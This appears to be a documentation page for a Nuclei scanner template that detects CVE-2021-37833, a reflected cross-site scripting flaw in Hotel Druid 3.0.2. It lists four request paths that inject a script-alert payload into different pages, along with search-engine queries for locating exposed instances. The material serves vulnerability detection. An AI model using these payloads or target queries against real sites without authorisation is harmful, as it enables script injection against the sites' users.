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Hotel Druid 3.0.2 - Cross-Site Scripting

ID: CVE-2021-37833

Severity: medium

Author: pikpikcu

Tags: cve2021,cve,hoteldruid,xss,digitaldruid

Description

Section titled “Description”

Hotel Druid 3.0.2 contains a cross-site scripting vulnerability in multiple pages which allows for arbitrary execution of JavaScript commands.

YAML Source

Section titled “YAML Source”
id: CVE-2021-37833


info:
  name: Hotel Druid 3.0.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Hotel Druid 3.0.2 contains a cross-site scripting vulnerability in multiple pages which allows for arbitrary execution of JavaScript commands.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/dievus/CVE-2021-37833
    - https://www.hoteldruid.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37833
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37833
    cwe-id: CWE-79
    epss-score: 0.00287
    epss-percentile: 0.6875
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.2:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: cve2021,cve,hoteldruid,xss,digitaldruid


http:
  - method: GET
    path:
      - '{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1'
      - '{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1'
      - '{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1'
      - '{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1'


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a0047304502200949a51b1f5f76953a9f693849268fcf6ff15129770584f7fd74186e4d148b75022100a0f618b8075607e83c18b77d50abe9209476408f4a974c119f80c1d3b261eeaa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-37833.yaml"

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